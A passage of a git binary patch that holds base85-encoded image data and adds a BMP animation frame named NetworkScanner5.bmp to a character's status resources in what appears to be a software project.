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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/ALVA/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 zcmd^{by!@@5_q}`1n|mfUQ7pK-OXJ$Oy9IZ5Z2=mm(MFp9jk^R30TLj%2Y2@% z2`>FMFefK7H$rCax&OTSic0mas#W!?wN_Pa`647kAo0^xUH?7P|2GF-etyvJBj3$>_(Ln;Cm`y-GyL=u_Wzsk-@+D>jtaqe7rMx_F(}Kb#eOfQtYMhi@&atKg)V?esX&F{%B|VaJl`%OwI0S z;qFl8?%?yi!Q}m+q=TWP4+HVDBWaN5pb>fXEOyFeVgiUZGge;;=S zQa=u-AB>~}6?Xd3y94Om!K-utz1^F#+n;~br?TPX>f*L5g%88qUxK$~s&3SneAx0C8G0SZUhZC6n zvGkpH&jILNAP!u`{!{>QdmwdxG~-|lGt&?~QWdt{mwG&&xeFBaU)DJs$vB(Le&2`g zDDlq>xAL=7b}$h0G!w5YiUHi_M{$3g73g9A!|X&$@{45m2nQW!DN!pnZWkuLU@q|# z5v6Pyoh&)MXhAh3kE%W%y*e$UHV-etSZk&!?r0LTKb&?jngJ*qP$3Wjl^;!DhN{9X zBm}r|DR_uzWytAkP;Q4~n1hiF0J^&@z}HevfQpFW?ysD`K9P7rqJT#s{)FP`-Me8S z0cWSDKZN_^to_{`uDbfRAQ2Zv?kFB`k-S#5fpw{|UB)w;XbrPqRns74JE)3HsEJda zmJNnq)qs+X|0%VNl=OU4>~??3YFqqb3u>tawbGsdsClF+T%3YMLD)2_vZ=af5FUVJ zdrZ=dfdQos+G1SzxH9;p{=A~aI?tMHZF@YNYm}d5vn#?`#JMS{W~L|qm8{37C&5lG zYUIr6a{5)q_W9OMG0&{vN)}$?HZTz<1A0}6xbJh#jA-RpUja9F1@n9pw^HykJ34N0 zN;-Xh5osD02{Hz8GI}vGdI@p{1qOCuB5I2NAk&wPbhoVu2_AaUbYi0AtIp0Q$x00- zrogCc_qsTYAUsAxy+*=4$D_PjEi6;Wg$sDJgnlI|D=h?AFK)a<|Dax%R+ixkn%Q!O zLE08BV9Q`BZ$mn*K&gl{(+Z41i3gv1ifKuT)fp*rh}2N z@q~a0q}NcOOS7wav57WHQq}>F(Vc`#{0_c}t|s8M7r>5mv+#qg{oP%GoMO3PZ3|}Y zbm)yZoQP0~Nmnay<1vG)n^Y-V!5M_4 z>FJc2IYAG}MW51$6VpkM(1S_nC5Y)INf{+cndB+i!Q@Q*ge1lK+7n3s91kZKS-nul zh>GmCw{_Evg@di=4w$+dLf$b`JB0B*QAt5I0C7Vz{t?!*vol9MZ7T_BF9l`zawdf?z z&bZ*oD7$8J5$A-M$wbs@LiB7xSd_L`nn%h`ENSSmsNaI8*Y; z(z6NTGBW;5AVNS75DVecN|7;3k~2#JhE2}G{1~6;_7hYPW^`hwdwR2HYAYR8gAS`e zM;6EXq-WTpQ*^_SV6Px?H)(dhmF0P0Y&Quv)9ba7)K!*esw>u8nYggqrn>iqdA7Rh zCL{+=Mj;pcG_x&5+|z*g6}9iKRZ$ZYe}Y`r*TI+3!Xyqkamb$*2Pc@Uz(SSL|Y9j1_y7PSH~ zE%Y)^NseBLk6E=5h4JHX88c|>(W|(LdZxNIdK#xWi9%8#U8&BEmdwUpvVJ*sRX)7- z-mFq^IuSK)sbE7th=v>g6DEqE9tz>JG2bF%y-g%cK*N5InCTaM#`}c9Cb9Lers}#T z6Jv^#o>!!1)fr%(Fymc3qgO+xhv8mg1YS0+X`$@neFO`8y|b zKXE;zLu*RhhOO)F>TzXv`2HA%+nv_y9)Zjp)tT^|MDAU3S zNhDG-CPf$H!fBi!q#nR2ZEWP@ZyDyV>+Pmw&w7i(TFlT%&YJ51J>B1MY5#`H{C6VK z|8v(~+w1Myh051MX!MKTiB%WNu$;2Daq-0ov1KraxT?_C-O)X)(bEz2uw&dF_>JvgtfAAq?>g}SD+6pT%jua!FHOH=W8 zw6y@*`0n}m#;kS4MG2~^vGU5kS_z3!tHB{7mS$P8DZAF%F|O1gIJ=lDt)MTnxH&PG z8ZNyZ1-BGFCsZvp#-s>o zy`b8jetNz>8t%N08MRmy{PnyA$+?RQ+9o$oP|*dpCVrT#+N|QH;_|lIH$CXMvf+2T zeWi;vJ};j!t3`(dU9x`f0Ch9glhf18(7-Nl;}mVZ0NZ+0?3!OducvQY;`2RoCGRwS z{X%o|cm7^uNa#y*D{lrNCmN74AsfuN80p&VYMhSpXpS>43{(ya7f?tMQ`A?t@rx+; z4a|px7DJulU|OCKZ7+zHCsfnZPuIsy(ZNyL5}^;3W)KL5p$8^Ej_iC0kI0FS&qrsJ z!M#z)sJynp#omUwH%T3-Mk!$`{>nlUhX?xrEI|B?a5L7mwY4M%i{1bePswK?i0SZz zRTsB9SojDk^T1LEkq`0dC_tYq4xi1mZI#7mYG_A_N$b*q!(H3`?W$l7<*EK7D2+5T zR?R#GtpGtuOPfId&|+9n9yF*BiYR~@BcK}YzV^{j&t#|`6t3kB*Y@$(h3N6B=&M`z z3~hGLZA~7Yw~a4149&MquTC7E&0JuomiER6H%A*5y3>1wNZESZTLH>%tM+EBBLjnJ z7FsP317|r%MB zFSxd^lf112NCp#M*I3xo{(7W;Wp@UP9opM(8JR9FuF8o+VIZ(%BL|e44c)K!Nzsvi znH88Rz%r`y@+us(3N5ug4U2-4Hax@nY&~8^79T{F90kV?7=ZN~D#|))YC3Cc-{q#i zbhmSs)rVSE#`*TSKf^=?52l1p2B@aML6YTaYIfP}!{SVs>{HaR;p3@U6o$nKT1QCeKgOd@i|T`?$7P!+~2WoqE&7gi4ajWr)I zW61Af5ik=l;{d3Ue*m&vQCwG7#bjZ6D=)h!#y_+%{k^(fv*~ zBM#Qu#5688Hh)>KfPjtljZj_H{$MjVuz5tn3aaR%jbmA8<|eY_B(8YN+A_s2XEh?@ zBOE#G?Eebp|JGVPIyi1DCU)M(vIOQ+8=tZkm215R(5Hzze6m9 z1Ok*-+#$se|N1mX|pzJqc&#qWz0rtWRJ5| zx4Ee}4pB;c{9j|ecJ(*4b!bDS25$p=-Ic$S}6nr}!^KzNw|v!Ff`?PwBgxV`oqd%pdyalImZ^P2TVRIjT|uADOCgNMU| z{a1$it)=+eHhi^;r-w(h!c0;PRNXZ*P*qq+{Fp~%Uqty~*vnJbuuk{LPGsp0s&q9B z^B$N0c*LM*!0T|#UTD;ewPA7$W(^g+05wVvQ&f57VD?PO*e@I~;6i9{5fC9k|Ip=c zxWCau0}HQh8x~gPU>(f!=uwTQ?F8yfimJ?dFk0?Kd#SKP2 zUkb|Hwe~6u&tDBkZ@M^F!r-0J>F-gV?PmNs&7O{aiYoSA$pI1N0Z~;zgaLjTQsN(3 z8Gx(`h^+LBsDJ`${s$|da^NQv_!(T_7g=U*4rL`Ii?CE%>8siqd$U#>GglPa5bh2U z1j{`l|K)%Gdk!WQV7+#_E9fsI-_tAbkiEC1wKy?#`c=tZSJBIq07D6|5~aAAIKoUT z$=WqH<|Q_~7HjKKhlro^Pg&I0kMs^|Mnq29I248?Eyd;^M5|@!QuD;?o2c_kxWlp_ zh&(exA4^j|Ky4n7bRA^}8IT5;O~FXV3$R#d@Mp{NwIv4^`2-gLYqFK9E%Sq4^W4na z;(cJ+vS3Ds0fU$4UVfr#MD5; z%DfSU-helU6d-IOMJSjBaY@*52t^r$Ts3_m27%5-!Fp;w(t?Ih{{4PTNC2SOtN0n< zXW5&v0u9d2PN#-Ovg4DpkWnLzMJHp`yIq-YlD!>egcTSVm>!WE3wTPg7+Wew203-u zsiKXg!cpN%&#jtG$P`n=R1w@@a~V@-El&kTDS0MqIYv_zR#{gaPd`&c2s}$e+KlHZ zv%RTLcuZMHSUv(85BG=)ge67A6vaJ%9T52fP;H<~q7thJ10j{KDcnZKTSUm3gCD{o z;3KA-&cN!$Ph$>d<6K`|`i$+5*&DM04bLww#s-F>ybuzU><}Z{s$|qsN6A)aegn#< zJj9_U)FsYR$6rm}T}sh_M?jvION&NciBQ0nN2pfY%$iry!6^oTC zEc1hBLHu%H;bq*Uym9CvZ%>2_ySSdDj**IqiKc~)w2m6Tg0X^ObYxBxx<0@^7tAKi zL(L_?qYYM#7m$y2K#plS=0sL3I)*mc_|#JquryXzTmgQ0=eZf{wa*Xr^wa)|$MAO| z&bw3+MBFa&_BL8h;ogXh@PO8$wR?K!)RDci3S*DGTOGW~{fg6reLLR7TO z6!Ze)Uq+-fdUz!ISVwtThWo-Z!jc=KGg{3Jz16`wvsmn#sX0q0KYmdaT1Fufa&8iG zc5-sICwB;lZawjG3rfuCR8}#@C*_sYKwJ4Y2IciuOs(bh&F6McJ#U*#Yn>GqQcwNn zsrY8Bz+?fq!26Som}D+oI&&ol2W3~dzJD+zOGC%)(ccMZ2pFY#CCpT{JT0wbpx&tg zo_XQWnxu$^=aH4^=wLf%IX2-iWL_jPQ;JnYgq#_TJN=zw(L*oH$mA~nR$D%2y zxgXpnBD_ydh0jRyl$n}7;#9yYjk5%Lf<2F|C0q zZ(xb9p&32KK50U{f+GXHe>B|Be&3k&vdxugBm^N@9@DtnM~C=iD2hM3bB~A+mywp3 z3;!X*y`RY*{6d2BD>>eMDhgsQVO}K;I(}Lb24+SMZ{G-A867PNje@GimdV-HskszP zk+PtowzN)e^2eF8= z(sDhoe2Xe<4@!NTRzFufunbSGk=Jt4RX6B<+x!{W7qUOZ`j7Sq2TxX9dRbZ1TXzU4 z$hj%WK}1hk8gLpMQLK@Q=}b_1_<41uPi|M+Zj^2G;-a zZx1P`_((~3sA<`rXTvs6^Y*Yg+t|!CY{nWEvxUX<_aK}cRYbvBJRr4S{!SpTVK%&X z-n)L$w~6iB!1k=2kL_cF60>jJBA}(=$9+sI1{P@Oh~B}LY-97+v00lJnB5D^+EHR= zj-8CMqOgQ66P>^>KR>oHGS5%Lq@xmxvT_D{dVmwaSLuFV@Pn*CV}KP%Ev;Pc-lL?W z7sJJ)%B@5$AHA4A&0D$1nfQ<}uo*RRkh+4+S>DbXUP!ieP~{iZW?`58`!D!ul}!NO zCGN)gz$Uh9`2!UlF9`_;2{8vN2W#70;lfGX@_FULY3|_r=)TQ}x#N_DQ}n`aeql`z z7oRu?r14b`$60}Mu`UxDV6oC#}BZ*Yv;Wyr(++nG1(P&Zj-XI zN#B2fpIwY@DBHv!hwB8Py$lEy1FPmY_%kF$QNoy@RW&>N$~b<($22S zHRyWQKcRd#^MkC{;tLDQf4N0W!wAO5r|23>80qe)M)&9l2-#^+*Vd}EwJUbNR`fPv zK)5BmemOp|ToDpxiigWYMa9p|DKWTtICXsKtiYQI9TNvUTt*5C0WlH&jrXtmT1HYs z%9Xh(qCA*e>y&!C)L-R@yJ^T4WOlrH+cdh6Mn}a&!ys_`4msQ}{C|qo!vl8fE;%u! z2%jMP@=^LGHYYvJK#cO1jShVPgsZeta(-Sr%9~w7hGzOh+9o!$sM4JPpPq#keCG~{ zjEZ3trXc54J3J~G2bY|VP5>XD)!A9+0GkW=y04>zJlp*MONQKNP)C#8(15PB7y&X$ zeF=+MKTTDU6(J_)dW=J_p=tg<#cE~ceCJonrz8ThGVF^dv5VNaAa4n2+I!lZI7;;Q zt(C~&R*X7)1e(Hx9YaA|*!0SJ7h*yt7Ivv8kEkBsBfb51yt}ubK6ym;{C3V=1!BjBWT|&Vr+Q=*y85aW=%y1b+{kN)83B_kzP8FUA{mXng|gRb2Bgt|9p#7 zSl7iQ46W!KK+UiC^Dj?`N!Xa!WVyL$XWu)opN72ci(TH?1~!qQ{+DLF_lyMa)HxoP zSDCG2(L*x<^rX~`tm3!t5W9K60kVJf+H^H}eeJz>e|btpFLM6@je|YM&VK#Ji=#E{ z$qM#jZf6A@V&knZ5RZ_W+lyGjMpd?25#m#@a7f}1Fz~VpFp4u-!XY?DF~P2KHiVp+Cj{nY%7$W|HE{S)dY-Hz*8y|>#AZ7Nb-Q5lzzn~p_}mV&sx zI_?5{wsbf)vp)-bmj=k$*y~?Ci`>FSmXtlCAS9({6eXkJy8EBF#tNE^FJ4~F`wt{H zv*Byd`N=s$SygdX9u2TMFCGImDJKn+6ghlw&EjHYv9q;(a|Pdw z6_D50)+Ip1s3)h{IXau2`xf+=#!NzsoEoHN<1Zv@_3LdCJ~l!(N8y4TzZaFUQHeUb zdMr;L6B842v9L)#dQ6LR=c%@UyuPps&CmF8urM(mIpi(`e(>S=* ziEvp6aY*oSp5oz9kdcF!Ii)D+1aIFXlM#{3iA3atz|>d-d<~6(TYUv4K6g#MXZ#YG z!O)_}z)%l6PLO~%5*3+NBn&nnAz*#_1du~afJaY3CBVulNkPMZ`!1Ozm!vMcgbKG- zLEc1l-R!%WO)Y6PB_6Sj)%8o*FW;g6a~i(MdJVd^v?9sCV`F09H?><-FqV_~uB?2{ zLfuQ58ia8UaFNp^!>8hrRh7`OlTfyjR5g=UGZU23qGlHT^${&G5uJy%*}J;zu{ZfM zUF8l6>g7qu>a^(B1<9%YzHmd6h2F~1H~CX7MMa6h@?bGZ1$8|;h`OPxoVq2ys46pu z1Q`wQ{YP}T_o<(WsVCX`N)oa8Iwq8qPG@5V%gd&^C)d>_Rh~(z9PR_|{hjbV*5kt? zQw1$G38kLto#OoQ{H)=^oROluiP+F;FbP+Txoes|RGn5(f`UVsft!kmk%pRsii(|! zQ(Q_!*3Zehtvq$AxoGHBPHzonthvx$UM(xcZ?e4{h*3_Ca6{wqmZHAe%z?V>(bxIo zO@(QpzIv(}!h%u^bUd_FT%>sPeDnhBPZ&&jYJ%s^-k|plurPl1-Zky>4SBz7fWlK*a;{)8sC16^7{HWSb?o$^Sv^sXjpJu zYws2ywIKUlLC(9D?$zlJr+|aNy@FlTjAyzV1{-p9L1Gqy^5OcH33d)8;lL{!&;I(_ z@s9ST@pqf^VqZ;RbDbb(iXsZh_{U_Y3lagep;WNQ&nG}c1Nk{aIqC0u zCO$Y?I$5Y`A0GjW_gBN$Sg&qUD{>1Z7(j3P7YlPn3$sT`@`wATcIHp8GyB-3Q|#-u zK3N8lsezvD)v0$~J$wXoVP=jomQJ;)C=3+Rkd;0=&~x4I(Z`*M_A0(iu1;f31=GC^C&!oGc6M?)(bZa+7@rpyP#GT;ZRPBvZ6r>?ximAqwKU%T z@}(4m@Vmv;g`>*>%pYB}zgq)X^Rq`vizi>U3<{Dkcek{EmGrCMH(gr(`MIUMj+c{f zbJzPk%urF@Nbl74;wg6K06TktojU+?P>+02WTMZG#*6*~7V*p||~;M(TQjEVh&}8pej!nZmq@7gf_U`)BhGF$H-NR936Ust_M4CIoRSYM320o!|%npRuSh{QIF7&*Z zd|P4)RzUlEZLdsys?c6l=OwF!vUg8~`iqjW(%i+hlvQbaRegSXnjM$Qg+nV$$`<7p zyuP-%etv~}h+Q}aeD|ohcof)$%Bng!38{wr2LXX!T#&!c8XpiT$tu#^wU(1L(mDDb zFqqj((2K1LY*$OCC?l7;Fj$sRkmhfAnjjf7c@18Cx&Rli?lA{JcqC%pV;KswLxKgGW3TFJ{D zd(||_L(5cCSpMUzA+B&G0fnZ{^`gSD@!iw8qf6G+bL{xQs4yLC7!2`YXK!(4J|QU5 zKtc`S>@(UwbZt9(+dGkv5Ka;*M@@q=bVhM3x-K345*;-&(CKI6#BqljD=_<~C1L2NPK>3<|xzytcKr z>1br3$Sb+woK49&ahYO>?ergGZ+luV8W7PI5if0Xt6E`Zk$`Vz_k&OSTm=a-{8 z!cKlTFDsv_Z=Mxo;wVnP{Ot4xZ8$Xo1!fg|)3#JyH$QuP0nFgiIkvZJ08GgFy`CR^WQB!S$G$a4??BeBed5E3*c>bbl=4In3h?cRTvi7>k=Mt{- 